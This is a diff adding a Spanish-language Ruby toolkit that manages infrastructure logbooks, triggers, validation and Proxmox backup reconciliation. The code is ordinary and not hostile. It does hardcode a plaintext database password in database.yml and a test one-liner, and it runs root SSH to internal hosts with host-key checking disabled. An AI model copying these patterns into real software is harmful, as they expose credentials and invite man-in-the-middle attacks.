puts " #{Color::DIM}Condición:#{Color::RESET} #{trigger[:condicion]}"
|
||||
end
|
||||
|
||||
puts " #{Color::DIM}Descripción:#{Color::RESET} #{trigger[:descripcion]}"
|
||||
puts ""
|
||||
end
|
||||
|
||||
habilitados = triggers.count { |t| t[:habilitado] }
|
||||
puts "#{Color::DIM}Triggers habilitados: #{habilitados}/#{triggers.length}#{Color::RESET}"
|
||||
|
||||
@logger.info("Listado completado: #{triggers.length} triggers encontrados")
|
||||
end
|
||||
|
||||
# Registra triggers en el bus de eventos
|
||||
def registrar_triggers
|
||||
@logger.info("Registrando triggers en el bus de eventos...")
|
||||
|
||||
registrados = @triggers.registrar_triggers
|
||||
|
||||
if registrados > 0
|
||||
@logger.exito("#{registrados} trigger(s) registrado(s) en el bus de eventos")
|
||||
puts "#{Color::GREEN}✓ #{registrados} trigger(s) registrado(s)#{Color::RESET}"
|
||||
puts "#{Color::DIM}Los triggers responderán a eventos automáticamente#{Color::RESET}"
|
||||
else
|
||||
@logger.advertencia("No se registraron triggers (sistema deshabilitado o sin triggers habilitados)")
|
||||
puts "#{Color::YELLOW}⚠ No se registraron triggers#{Color::RESET}"
|
||||
puts "#{Color::DIM}Verifica que el sistema esté habilitado en adn/triggers.yml#{Color::RESET}"
|
||||
end
|
||||
end
|
||||
|
||||
# Limpia todos los triggers registrados
|
||||
def limpiar_triggers
|
||||
@logger.info("Limpiando triggers registrados...")
|
||||
|
||||
limpiados = @triggers.limpiar_triggers_registrados
|
||||
|
||||
@logger.exito("#{limpiados} trigger(s) limpiado(s) del bus de eventos")
|
||||
puts "#{Color::GREEN}✓ #{limpiados} trigger(s) limpiado(s)#{Color::RESET}"
|
||||
puts "#{Color::DIM}Los triggers ya no responderán a eventos automáticamente#{Color::RESET}"
|
||||
end
|
||||
|
||||
# Prueba un trigger específico
|
||||
def probar_trigger
|
||||
trigger_id = @opciones[:trigger_id]
|
||||
|
||||
unless trigger_id
|
||||
@logger.error("Se requiere ID de trigger para probar (ej: bitacoras_0)")
|
||||
puts "#{Color::RED}✗ Se requiere ID de trigger para probar#{Color::RESET}"
|
||||
puts " Ejemplo: ./adn/tools/run triggers --test bitacoras_0"
|
||||
puts " Usa --listar para ver IDs disponibles"
|
||||
exit 1
|
||||
end
|
||||
|
||||
@logger.info("Probando trigger: #{trigger_id}")
|
||||
|
||||
# Datos simulados para la prueba
|
||||
datos_simulados = {
|
||||
modo: 'prueba',
|
||||
timestamp: Time.now.utc,
|
||||
descripcion: "Datos simulados para prueba del trigger"
|
||||
}
|
||||
|
||||
# Ejecutar prueba
|
||||
resultado = @triggers.probar_trigger(trigger_id, datos_simulados)
|
||||
|
||||
# Mostrar resultados
|
||||
mostrar_resultado_prueba(resultado)
|
||||
end
|
||||
|
||||
# Ejecuta todos los triggers (modo batch)
|
||||
def ejecutar_triggers
|
||||
@logger.info("Ejecutando triggers en modo batch...")
|
||||
|
||||
resultados = @triggers.ejecutar_triggers(forzar: @opciones[:forzar])
|
||||
|
||||
mostrar_resultados_ejecucion(resultados)
|
||||
end
|
||||
|
||||
# Muestra el resultado de una prueba de trigger
|
||||
def mostrar_resultado_prueba(resultado)
|
||||
puts "\n#{Color::CYAN}🧪 Resultado de prueba del trigger#{Color::RESET}"
|
||||
puts "#{Color::DIM}#{'-' * 60}#{Color::RESET}"
|
||||
|
||||
if resultado[:exito]
|
||||
puts " #{Color::GREEN}✓ Trigger probado exitosamente#{Color::RESET}"
|
||||
puts " #{Color::DIM}ID:#{Color::RESET} #{resultado[:trigger]}"
|
||||
puts " #{Color::DIM}Modo:#{Color::RESET} #{resultado[:accion_simulada][:modo]}"
|
||||
puts " #{Color::DIM}Mensaje:#{Color::RESET} #{resultado[:accion_simulada][:mensaje]}"
|
||||
else
|
||||
puts " #{Color::RED}✗ Error probando trigger#{Color::RESET}"
|
||||
puts " #{Color::DIM}ID:#{Color::RESET} #{resultado[:trigger]}"
|
||||
puts " #{Color::DIM}Error:#{Color::RESET} #{resultado[:error]}"
|
||||
end
|
||||
|
||||
puts "#{Color::DIM}#{'-' * 60}#{Color::RESET}"
|
||||
puts "#{Color::DIM}Nota: Esta fue una prueba en modo simulación (sin efectos reales)#{Color::RESET}"
|
||||
|
||||
@logger.info("Prueba completada: #{resultado[:exito] ? 'éxito' : 'fallo'}")
|
||||
end
|
||||
|
||||
# Muestra resultados de ejecución de triggers
|
||||
def mostrar_resultados_ejecucion(resultados)
|
||||
total = resultados[:total_ejecutados]
|
||||
exitosos = resultados[:exitosos]
|
||||
fallidos = resultados[:fallidos]
|
||||
|
||||
puts "\n#{Color::CYAN}📊 Resultados de ejecución de triggers#{Color::RESET}"
|
||||
puts "#{Color::DIM}#{'-' * 60}#{Color::RESET}"
|
||||
puts " #{Color::GREEN}Ejecutados:#{Color::RESET} #{total}"
|
||||
puts " #{Color::GREEN}Exitosos:#{Color::RESET} #{exitosos}"
|
||||
puts " #{Color::GREEN}Fallidos:#{Color::RESET} #{fallidos}"
|
||||
|
||||
if fallidos > 0
|
||||
puts "\n#{Color::YELLOW}⚠ Triggers con errores:#{Color::RESET}"
|
||||
resultados[:detalles].each do |detalle|
|
||||
next if detalle[:exito]
|
||||
|
||||
puts " #{Color::RED}✗ #{detalle[:trigger_id]}#{Color::RESET}"
|
||||
puts " #{Color::DIM}Evento:#{Color::RESET} #{detalle[:evento]}"
|
||||
puts " #{Color::DIM}Error:#{Color::RESET} #{detalle[:error]}"
|
||||
end
|
||||
end
|
||||
|
||||
puts "#{Color::DIM}#{'-' * 60}#{Color::RESET}"
|
||||
|
||||
if total == 0
|
||||
@logger.advertencia("No se ejecutaron triggers (sistema deshabilitado)")
|
||||
puts "#{Color::YELLOW}ℹ No se ejecutaron triggers#{Color::RESET}"
|
||||
puts "#{Color::DIM}Usa --forzar para ejecutar de todos modos#{Color::RESET}"
|
||||
elsif fallidos == 0
|
||||
@logger.exito("Ejecución completada: #{exitosos}/#{total} triggers exitosos")
|
||||
puts "#{Color::GREEN}✓ Ejecución completada sin errores#{Color::RESET}"
|
||||
else
|
||||
@logger.error("Ejecución completada con errores: #{fallidos}/#{total} fallidos")
|
||||
puts "#{Color::RED}✗ Ejecución completada con #{fallidos} error(es)#{Color::RESET}"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,128 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
require 'optparse'
|
||||
require_relative '../core/colores'
|
||||
require_relative '../core/validador'
|
||||
|
||||
class SubcomandoValidador
|
||||
def initialize(args, logger)
|
||||
@args = args
|
||||
@logger = logger
|
||||
@opciones = { watch: false, fix: false }
|
||||
end
|
||||
|
||||
def ejecutar
|
||||
parser = OptionParser.new do |opts|
|
||||
opts.banner = "Uso: ./adn/tools/run validador [OPCIONES]"
|
||||
opts.separator ""
|
||||
opts.separator "Valida el cumplimiento del ADN en las bitácoras"
|
||||
opts.separator ""
|
||||
opts.separator "Opciones:"
|
||||
opts.on("--watch", "Monitorizar cambios en tiempo real") do
|
||||
@opciones[:watch] = true
|
||||
end
|
||||
opts.on("--fix", "Intentar corregir errores automáticamente") do
|
||||
@opciones[:fix] = true
|
||||
end
|
||||
opts.on("-h", "--help", "Mostrar esta ayuda") do
|
||||
puts opts
|
||||
exit
|
||||
end
|
||||
end
|
||||
|
||||
begin
|
||||
parser.parse!(@args)
|
||||
rescue OptionParser::InvalidOption => e
|
||||
@logger.error("Opción inválida: #{e.message}")
|
||||
puts parser
|
||||
exit 1
|
||||
end
|
||||
|
||||
@logger.info("Iniciando validador del ADN", @opciones)
|
||||
|
||||
if @opciones[:watch]
|
||||
@logger.info("Modo watch activado (no implementado aún)")
|
||||
puts "#{Color::YELLOW}⚠ El modo watch será implementado en Fase 1 completa#{Color::RESET}"
|
||||
# TODO: Implementar con gem 'listen'
|
||||
end
|
||||
|
||||
# Inicializar validador
|
||||
validador = ADN::Validador.new(nil, @logger)
|
||||
|
||||
# Ejecutar validación
|
||||
resultados = validador.validar_bitacoras(@opciones)
|
||||
|
||||
# Mostrar resultados
|
||||
mostrar_resultados(resultados, validador)
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def mostrar_resultados(resultados, validador)
|
||||
total = resultados[:total]
|
||||
validas = resultados[:validas]
|
||||
con_errores = resultados[:con_errores]
|
||||
con_advertencias = resultados[:con_advertencias]
|
||||
|
||||
puts "\n#{Color::CYAN}📊 Resultados de validación:#{Color::RESET}"
|
||||
puts "#{Color::DIM}#{'-' * 60}#{Color::RESET}"
|
||||
puts " #{Color::GREEN}Bitácoras totales:#{Color::RESET} #{total}"
|
||||
puts " #{Color::GREEN}Válidas:#{Color::RESET} #{validas}"
|
||||
|
||||
if con_errores > 0
|
||||
puts " #{Color::RED}Con errores:#{Color::RESET} #{con_errores}"
|
||||
else
|
||||
puts " #{Color::GREEN}Con errores:#{Color::RESET} 0"
|
||||
end
|
||||
|
||||
if con_advertencias > 0
|
||||
puts " #{Color::YELLOW}Con advertencias:#{Color::RESET} #{con_advertencias}"
|
||||
else
|
||||
puts " #{Color::GREEN}Con advertencias:#{Color::RESET} 0"
|
||||
end
|
||||
|
||||
# Mostrar detalles de errores y advertencias
|
||||
mostrar_detalles(resultados[:detalles])
|
||||
|
||||
# Resumen final
|
||||
if con_errores == 0 && con_advertencias == 0
|
||||
@logger.exito("Validación completada: #{total} bitácoras OK")
|
||||
puts "#{Color::GREEN}✓ Todas las bitácoras cumplen con el formato del ADN#{Color::RESET}"
|
||||
elsif con_errores == 0
|
||||
@logger.advertencia("Validación completada con advertencias")
|
||||
puts "#{Color::YELLOW}⚠ Validación completada con #{con_advertencias} advertencia(s)#{Color::RESET}"
|
||||
else
|
||||
@logger.error("Validación completada con errores")
|
||||
puts "#{Color::RED}✗ Validación completada con #{con_errores} error(es) y #{con_advertencias} advertencia(s)#{Color::RESET}"
|
||||
end
|
||||
|
||||
# Log de métricas
|
||||
@logger.info("Validación completada", {
|
||||
total_bitacoras: total,
|
||||
validas: validas,
|
||||
con_errores: con_errores,
|
||||
con_advertencias: con_advertencias,
|
||||
correcciones: validador.correcciones
|
||||
})
|
||||
end
|
||||
|
||||
def mostrar_detalles(detalles)
|
||||
detalles.each do |detalle|
|
||||
archivo = detalle[:archivo]
|
||||
errores = detalle[:errores]
|
||||
advertencias = detalle[:advertencias]
|
||||
|
||||
next if errores.empty? && advertencias.empty?
|
||||
|
||||
puts "\n#{Color::DIM}#{archivo}#{Color::RESET}"
|
||||
|
||||
errores.each do |error|
|
||||
puts " #{Color::RED}✗ #{error}#{Color::RESET}"
|
||||
end
|
||||
|
||||
advertencias.each do |advertencia|
|
||||
puts " #{Color::YELLOW}⚠ #{advertencia}#{Color::RESET}"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,108 @@
|
||||
---
|
||||
rutas:
|
||||
proyecto: "../.."
|
||||
adn: "../../adn"
|
||||
bitacoras: "../../bitacoras"
|
||||
nodos: "../../nodos"
|
||||
proyectos: "../../proyectos"
|
||||
logs: "../../logs/adn"
|
||||
tmp: "../../tmp"
|
||||
ns8_candados: "../seguridad/ns8-candados.rb"
|
||||
validador:
|
||||
watch_mode: false
|
||||
strict_mode: true
|
||||
validar_formato_tiempo: true
|
||||
validar_iconografia: true
|
||||
validar_metricas_hibridas: true
|
||||
validar_referencias_rollover: true
|
||||
pre_commit_hook: true
|
||||
pre_push_hook: false
|
||||
notificar_desktop: false
|
||||
notificar_email: false
|
||||
triggers:
|
||||
enabled: false
|
||||
config_file: triggers.yml
|
||||
detectar_cambio_estado: true
|
||||
detectar_nueva_bitacora: true
|
||||
detectar_modificacion_nodo: true
|
||||
ejecutar_en_cron: false
|
||||
intervalo_cron: "*/5 * * * *"
|
||||
contexto:
|
||||
cache_habilitado: true
|
||||
cache_ruta: "../../tmp/contexto-cache.json"
|
||||
cache_ttl: 300
|
||||
analizar_topologia: true
|
||||
sugerir_comandos_ssh: true
|
||||
detectar_requisitos_acceso: true
|
||||
dashboard:
|
||||
enabled: false
|
||||
port: 4567
|
||||
host: localhost
|
||||
auto_open: true
|
||||
websockets: true
|
||||
metricas_tiempo_real: true
|
||||
alertas_visuales: true
|
||||
api_json: true
|
||||
integracion_dashboard_principal: true
|
||||
logging:
|
||||
nivel: INFO
|
||||
directorio: "../../logs/adn"
|
||||
formato_archivo: json
|
||||
formato_terminal: color
|
||||
rotacion_diaria: true
|
||||
retencion_dias: 30
|
||||
debug_detallado: false
|
||||
backup:
|
||||
enabled: false
|
||||
directorio_destino: "../../dtic-BKPs/adn"
|
||||
versionado_semantico: true
|
||||
formato_version: major.features.fixes
|
||||
automatico: false
|
||||
frecuencia: daily
|
||||
cifrar: true
|
||||
comprimir: true
|
||||
defaults:
|
||||
modo: stop
|
||||
storage: zfsDISCO1
|
||||
retencion_dias: '6'
|
||||
evolucion:
|
||||
propuestas_directorio: "../../docs/plan"
|
||||
periodo_revision_horas: 48
|
||||
tag_commits: true
|
||||
requerir_aprobacion: true
|
||||
notificar_bitacoras: true
|
||||
actualizar_indice: true
|
||||
seguridad:
|
||||
usar_ns8_candados: true
|
||||
evitar_texto_plano: true
|
||||
auditar_uso_secretos: false
|
||||
log_accesos: true
|
||||
verificar_permisos_archivos: true
|
||||
desarrollo:
|
||||
ejecutar_pruebas: false
|
||||
cobertura_minima: 80
|
||||
modo_verbose: false
|
||||
simular_errores: false
|
||||
reportar_metricas_desempeno: false
|
||||
dtic_bitacoras:
|
||||
api_url: http://localhost:3002
|
||||
api_timeout: 30
|
||||
sincronizacion_automatica: false
|
||||
sincronizar_al_iniciar: true
|
||||
endpoints:
|
||||
salud: "/health"
|
||||
nodos: "/api/nodos"
|
||||
bitacoras: "/api/bitacoras"
|
||||
entradas: "/api/entradas"
|
||||
proyectos: "/api/proyectos"
|
||||
formato_estado_default: "⏳"
|
||||
formato_modo_default: P
|
||||
cache_habilitado: true
|
||||
cache_ttl: 300
|
||||
autonomia:
|
||||
kpi_acciones_ia_dia: 2
|
||||
kpi_triggers_automaticos: 90
|
||||
kpi_scripts_sin_ia: 85
|
||||
fase_actual: 1
|
||||
modo_transicion: coexistencia
|
||||
reportar_metricas_autonomia: true
|
||||
@@ -0,0 +1,72 @@
|
||||
# Configuración de conexión a base de datos para dtic-BITACORAs
|
||||
# ==============================================================
|
||||
# Este archivo define las conexiones a PostgreSQL para diferentes entornos.
|
||||
# Las credenciales por defecto corresponden al contenedor Docker definido en
|
||||
# dtic-BITACORAs/docker-compose.yml
|
||||
|
||||
# ─── Entorno de desarrollo (contenedor Docker) ─────────────────────
|
||||
development:
|
||||
adapter: postgresql
|
||||
host: localhost
|
||||
port: 5433
|
||||
database: dtic_bitacoras
|
||||
username: dtic_user
|
||||
password: dtic_pass_2026
|
||||
encoding: utf8
|
||||
pool: 5
|
||||
timeout: 5000
|
||||
schema_search_path: bitacoras
|
||||
# Opciones de conexión
|
||||
variables:
|
||||
statement_timeout: 15000 # 15 segundos
|
||||
|
||||
# ─── Entorno de pruebas ───────────────────────────────────────────
|
||||
test:
|
||||
adapter: postgresql
|
||||
host: localhost
|
||||
port: 5433
|
||||
database: dtic_bitacoras_test
|
||||
username: dtic_user
|
||||
password: dtic_pass_2026
|
||||
encoding: utf8
|
||||
pool: 2
|
||||
timeout: 3000
|
||||
schema_search_path: bitacoras
|
||||
# Crear base de datos de prueba si no existe
|
||||
prepare_database: true
|
||||
|
||||
# ─── Entorno de producción (variables de entorno) ────────────────
|
||||
production:
|
||||
adapter: postgresql
|
||||
host: <%= ENV['DB_HOST'] || 'localhost' %>
|
||||
port: <%= ENV['DB_PORT'] || '5432' %>
|
||||
database: <%= ENV['DB_NAME'] || 'dtic_bitacoras' %>
|
||||
username: <%= ENV['DB_USER'] || 'dtic_user' %>
|
||||
password: <%= ENV['DB_PASSWORD'] || ENV['DB_PASS'] %>
|
||||
encoding: utf8
|
||||
pool: <%= ENV['DB_POOL'] || 10 %>
|
||||
timeout: <%= ENV['DB_TIMEOUT'] || 10000 %>
|
||||
schema_search_path: bitacoras
|
||||
# SSL para conexiones seguras en producción
|
||||
sslmode: <%= ENV['DB_SSLMODE'] || 'prefer' %>
|
||||
|
||||
# ─── Configuraciones especiales ──────────────────────────────────
|
||||
# Para uso en scripts de migración y mantenimiento
|
||||
migration:
|
||||
adapter: postgresql
|
||||
host: localhost
|
||||
port: 5433
|
||||
database: dtic_bitacoras
|
||||
username: dtic_user
|
||||
password: dtic_pass_2026
|
||||
encoding: utf8
|
||||
pool: 1
|
||||
timeout: 30000
|
||||
schema_search_path: bitacoras
|
||||
|
||||
# ─── Notas de uso ────────────────────────────────────────────────
|
||||
# 1. El puerto 5433 es el mapeo externo del contenedor Docker (5432 interno)
|
||||
# 2. Todas las tablas están en el esquema 'bitacoras'
|
||||
# 3. En producción, siempre usar variables de entorno para credenciales
|
||||
# 4. Para probar la conexión:
|
||||
# ruby -r "pg" -e "PG.connect(host: 'localhost', port: 5433, dbname: 'dtic_bitacoras', user: 'dtic_user', password: 'dtic_pass_2026') { |conn| puts 'Conexión exitosa' }"
|
||||
@@ -0,0 +1,16 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
# adn/tools/core/colores.rb — ADN Tools Colors utility
|
||||
# ====================================================================
|
||||
# Consolidación de módulos de Color (Menos es Más) para uso en CLI.
|
||||
|
||||
module Color
|
||||
RESET = "\e[0m"
|
||||
BOLD = "\e[1m"
|
||||
GREEN = "\e[32m"
|
||||
CYAN = "\e[36m"
|
||||
YELLOW = "\e[33m"
|
||||
RED = "\e[31m"
|
||||
MAGENTA = "\e[35m"
|
||||
DIM = "\e[2m"
|
||||
end
|
||||
@@ -0,0 +1,207 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
require 'date'
|
||||
require 'time'
|
||||
require 'json'
|
||||
require_relative 'configurador'
|
||||
|
||||
module ADN
|
||||
class Conciliador
|
||||
def initialize(logger)
|
||||
@logger = logger
|
||||
@candados_path = File.join(ADN::PROJECT_ROOT, 'tools', 'ns8-candados', 'ns8-candados.rb')
|
||||
end
|
||||
|
||||
def ejecutar(silencioso: false)
|
||||
@silencioso = silencioso
|
||||
@logger.info("Iniciando saneamiento preventivo de pendientes...") unless @silencioso
|
||||
|
||||
# 1. Reconciliar backups de ayer y hoy
|
||||
conciliar_backups_recientes
|
||||
|
||||
# 2. Traspasar pendientes no resueltos de ayer a hoy
|
||||
traspasar_pendientes_ayer_a_hoy
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def conciliar_backups_recientes
|
||||
# Revisamos ayer y hoy
|
||||
[Date.today - 1, Date.today].each do |fecha_obj|
|
||||
fecha = fecha_obj.iso8601
|
||||
ruta = File.join(ADN::BITACORAS_DIR, "#{fecha}.md")
|
||||
next unless File.exist?(ruta)
|
||||
|
||||
# Si el archivo tiene relojes de arena (⏳)
|
||||
contenido = File.read(ruta)
|
||||
if contenido.include?('⏳')
|
||||
@logger.info(" Revisando tareas pendientes del #{fecha}...") unless @silencioso
|
||||
procesar_reconciliacion(fecha, ruta)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def procesar_reconciliacion(fecha, ruta)
|
||||
# Obtener tareas de Proxmox
|
||||
tasks = obtener_tareas_proxmox
|
||||
return if tasks.empty?
|
||||
|
||||
vmid_map = cargar_mapa_vmid_nodos
|
||||
contenido = File.read(ruta)
|
||||
lineas = contenido.lines
|
||||
nodo_actual = nil
|
||||
cambio = false
|
||||
|
||||
lineas.each do |linea|
|
||||
if linea.start_with?('### ') && !linea.include?('|')
|
||||
nodo_actual = linea.sub('### ', '').strip
|
||||
next
|
||||
end
|
||||
|
||||
if nodo_actual && linea.include?('|') && linea.include?('⏳')
|
||||
match_hora = linea.match(/\|\s*(\d{2}:\d{2})\s*\|/)
|
||||
next unless match_hora
|
||||
|
||||
hora_inicio_str = match_hora[1]
|
||||
vmid = vmid_map.key(nodo_actual)
|
||||
next unless vmid
|
||||
|
||||
# Buscar tarea coincidente
|
||||
hora_inicio_t = Time.parse("#{fecha} #{hora_inicio_str}") rescue nil
|
||||
tarea = tasks.select { |t|
|
||||
vmid_task = (t['vmid'] || t['id']).to_s
|
||||
t['type'] == 'vzdump' &&
|
||||
vmid_task == vmid &&
|
||||
(t['status'] == 'OK' || !t['endtime'].nil?) &&
|
||||
(hora_inicio_t ? Time.at(t['starttime']) >= (hora_inicio_t - 3600) : true)
|
||||
}.max_by { |t| t['endtime'] || 0 }
|
||||
|
||||
if tarea && tarea['endtime']
|
||||
exito = (tarea['status'] == 'OK')
|
||||
hora_fin = Time.at(tarea['endtime']).strftime('%H:%M')
|
||||
task_id = tarea['id']
|
||||
|
||||
@logger.exito(" ✨ Tarea auto-resuelta: #{nodo_actual} (#{hora_inicio_str} -> #{hora_fin})") unless @silencioso
|
||||
|
||||
# Aplicar cambio en el contenido
|
||||
estado_ico = exito ? '✅' : '⚠️'
|
||||
desc = exito ? 'Backup completado exitosamente.' : 'Fallo en la ejecución del backup.'
|
||||
desc = "[task:#{task_id[0..7]}] #{desc}"
|
||||
|
||||
linea_nueva = "| #{hora_inicio_str} | #{hora_fin} | #{desc} | R | #{estado_ico} |\n"
|
||||
|
||||
# Reemplazo cuidadoso
|
||||
regex_fila = /^\|\s*#{Regexp.escape(hora_inicio_str)}\s*\|\s*\|\s*[^|]*\|\s*[^|]*\|\s*[^|]*⏳[^|]*\|/
|
||||
|
||||
# Buscar el bloque del nodo
|
||||
regex_seccion = /(### #{Regexp.escape(nodo_actual)}.*?)(?=\n###\s|<!--|\z)/m
|
||||
contenido.sub!(regex_seccion) do |seccion|
|
||||
nueva_seccion = seccion.sub(regex_fila, linea_nueva)
|
||||
# Si ya no quedan ⏳ en esta sección, actualizamos su icono principal
|
||||
unless nueva_seccion.include?('⏳')
|
||||
nueva_seccion.gsub!(/#### [⏳⏳] - BKP-ADN/, "#### #{estado_ico} - BKP-ADN")
|
||||
end
|
||||
nueva_seccion
|
||||
end
|
||||
cambio = true
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if cambio
|
||||
File.write(ruta, contenido)
|
||||
# Sincronizar con DB
|
||||
system("#{File.join(ADN::PROJECT_ROOT, 'adn/tools/run')} db migrar:md #{fecha} --sobrescribir > /dev/null 2>&1")
|
||||
end
|
||||
end
|
||||
|
||||
def traspasar_pendientes_ayer_a_hoy
|
||||
ayer = (Date.today - 1).iso8601
|
||||
hoy = Date.today.iso8601
|
||||
ruta_ayer = File.join(ADN::BITACORAS_DIR, "#{ayer}.md")
|
||||
ruta_hoy = File.join(ADN::BITACORAS_DIR, "#{hoy}.md")
|
||||
|
||||
return unless File.exist?(ruta_ayer) && File.exist?(ruta_hoy)
|
||||
|
||||
cont_ayer = File.read(ruta_ayer)
|
||||
cont_hoy = File.read(ruta_hoy)
|
||||
|
||||
# 1. Extraer sección Pendientes de ayer
|
||||
pendientes_ayer = extraer_tabla_seccion(cont_ayer, '### Pendientes')
|
||||
return if pendientes_ayer.empty?
|
||||
|
||||
# 2. Filtrar los que ya están en hoy (evitar duplicados)
|
||||
nuevos_pendientes = pendientes_ayer.reject do |p|
|
||||
cont_hoy.include?(p[:detalle])
|
||||
end
|
||||
|
||||
return if nuevos_pendientes.empty?
|
||||
|
||||
# 3. Insertar en hoy
|
||||
filas_nuevas = nuevos_pendientes.map { |p| "| #{p[:id]} | #{p[:nodo]} | #{p[:detalle]} |" }.join("\n")
|
||||
|
||||
# Regex más flexible para encontrar la tabla de pendientes en hoy
|
||||
regex_tabla = /(### Pendientes\s*\n\s*\| ID \| Nodo \| Detalle \|\s*\n\s*\| :--- \| :--- \| :--- \|)/
|
||||
|
||||
if cont_hoy.match?(regex_tabla)
|
||||
@logger.exito(" 🚀 Traspasando #{nuevos_pendientes.length} pendientes de ayer a hoy...")
|
||||
cont_hoy.sub!(regex_tabla) { "#{$1}\n#{filas_nuevas}" }
|
||||
File.write(ruta_hoy, cont_hoy)
|
||||
system("#{File.join(ADN::PROJECT_ROOT, 'adn/tools/run')} db migrar:md #{hoy} --sobrescribir > /dev/null 2>&1")
|
||||
end
|
||||
end
|
||||
|
||||
def extraer_tabla_seccion(contenido, encabezado)
|
||||
# Busca el bloque que empieza con el encabezado y captura todas las líneas que empiezan con |
|
||||
regex = /#{Regexp.escape(encabezado)}[^\n]*\n+((?:\|[^\n]*\n?)+)/m
|
||||
match = contenido.match(regex)
|
||||
return [] unless match
|
||||
|
||||
filas = match[1].strip.split("\n")
|
||||
return [] if filas.length < 3 # Necesitamos al menos Cabecera, Separador y 1 Fila
|
||||
|
||||
# Saltamos las primeras dos líneas (Cabecera y Separador)
|
||||
filas[2..-1].map do |f|
|
||||
parts = f.split('|').map(&:strip).reject(&:empty?)
|
||||
next if parts.length < 3
|
||||
{ id: parts[0], nodo: parts[1], detalle: parts[2] }
|
||||
end.compact
|
||||
end
|
||||
|
||||
def obtener_tareas_proxmox
|
||||
return @tasks if @tasks
|
||||
|
||||
system("ruby #{@candados_path} authorize > /dev/null 2>&1")
|
||||
@tasks = []
|
||||
|
||||
[ '10.0.10.201', '10.0.10.202', '10.0.10.203' ].each do |ip|
|
||||
cmd = "pvesh get /cluster/tasks --output-format json"
|
||||
output = `ruby #{@candados_path} run admindasu SSHPASS 'ssh -o StrictHostKeyChecking=no root@#{ip} "#{cmd}"' 2>/dev/null`
|
||||
|
||||
if output.include?('[')
|
||||
begin
|
||||
json_str = output[output.index('[')..output.rindex(']')]
|
||||
@tasks = JSON.parse(json_str)
|
||||
break
|
||||
rescue
|
||||
next
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
system("ruby #{@candados_path} cerrar > /dev/null 2>&1")
|
||||
@tasks
|
||||
end
|
||||
|
||||
def cargar_mapa_vmid_nodos
|
||||
mapa = {}
|
||||
Dir.glob(File.join(ADN::NODOS_DIR, "*.md")).each do |f|
|
||||
nombre = File.basename(f, ".md")
|
||||
cont = File.read(f)
|
||||
vmid = cont.match(/(?:VM ID|vmid|VMID)\*\*?:?\s*`?(\d+)`?/i)&.[](1)
|
||||
mapa[vmid.to_s] = nombre if vmid
|
||||
end
|
||||
mapa
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,50 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
require 'yaml'
|
||||
require 'fileutils'
|
||||
|
||||
module ADN
|
||||
class Configurador
|
||||
CONFIG_PATH = File.join(__dir__, '..', 'config', 'config.yml')
|
||||
|
||||
def self.leer
|
||||
return {} unless File.exist?(CONFIG_PATH)
|
||||
YAML.load_file(CONFIG_PATH) || {}
|
||||
rescue StandardError => e
|
||||
warn "Error leyendo configuración: #{e.message}"
|
||||
{}
|
||||
end
|
||||
|
||||
def self.guardar(config)
|
||||
FileUtils.mkdir_p(File.dirname(CONFIG_PATH))
|
||||
File.write(CONFIG_PATH, config.to_yaml)
|
||||
true
|
||||
rescue StandardError => e
|
||||
warn "Error guardando configuración: #{e.message}"
|
||||
false
|
||||
end
|
||||
|
||||
def self.obtener(ruta_punto, default = nil)
|
||||
config = leer
|
||||
partes = ruta_punto.split('.')
|
||||
valor = config
|
||||
partes.each do |p|
|
||||
valor = valor[p] if valor.is_a?(Hash)
|
||||
return default if valor.nil?
|
||||
end
|
||||
valor
|
||||
end
|
||||
|
||||
def self.establecer(ruta_punto, nuevo_valor)
|
||||
config = leer
|
||||
partes = ruta_punto.split('.')
|
||||
temp = config
|
||||
partes[0...-1].each do |p|
|
||||
temp[p] ||= {}
|
||||
temp = temp[p]
|
||||
end
|
||||
temp[partes.last] = nuevo_valor
|
||||
guardar(config)
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,340 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
# adn/tools/eventos.rb — Bus de eventos interno para el sistema ADN
|
||||
# ==================================================================
|
||||
# Este módulo implementa un bus de eventos que permite la comunicación
|
||||
# desacoplada entre los diferentes componentes del sistema ADN.
|
||||
# Facilita la implementación del Principio de Armonía Integral al
|
||||
# permitir que cambios en un componente disparen acciones automáticas
|
||||
# en otros componentes dependientes.
|
||||
#
|
||||
# 📅 Última actualización: 2026-03-07 (Fase 2: Automatización Inteligente)
|
||||
# 📚 Referencia: docs/plan/260307-1400_Plan_Mejoras_ADN.md
|
||||
# 🔗 Integración: adn/triggers.yml (configuración de triggers)
|
||||
|
||||
require 'singleton'
|
||||
|
||||
module ADN
|
||||
class Eventos
|
||||
include Singleton
|
||||
|
||||
# Eventos predefinidos del sistema ADN
|
||||
# Estos eventos corresponden a los triggers definidos en adn/triggers.yml
|
||||
EVENTOS = {
|
||||
# Bitácoras
|
||||
bitacora_creada: :bitacora_creada,
|
||||
bitacora_modificada: :bitacora_modificada,
|
||||
bitacora_guardada: :bitacora_guardada,
|
||||
nueva_vinyeta_cronologia: :nueva_vinyeta_cronologia,
|
||||
estado_cambiado: :estado_cambiado,
|
||||
metrica_hibrida_registrada: :metrica_hibrida_registrada,
|
||||
error_formato_detectado: :error_formato_detectado,
|
||||
|
||||
# Nodos
|
||||
nodo_creado: :nodo_creado,
|
||||
nodo_modificado: :nodo_modificado,
|
||||
estado_nodo_cambiado: :estado_nodo_cambiado,
|
||||
|
||||
# Proyectos
|
||||
proyecto_creado: :proyecto_creado,
|
||||
proyecto_modificado: :proyecto_modificado,
|
||||
hito_proyecto_actualizado: :hito_proyecto_actualizado,
|
||||
estado_proyecto_cambiado: :estado_proyecto_cambiado,
|
||||
|
||||
# ADN y configuración
|
||||
hebra_adn_modificada: :hebra_adn_modificada,
|
||||
iconografia_actualizada: :iconografia_actualizada,
|
||||
directivas_ia_actualizadas: :directivas_ia_actualizadas,
|
||||
configuracion_actualizada: :configuracion_actualizada,
|
||||
|
||||
# Sistema
|
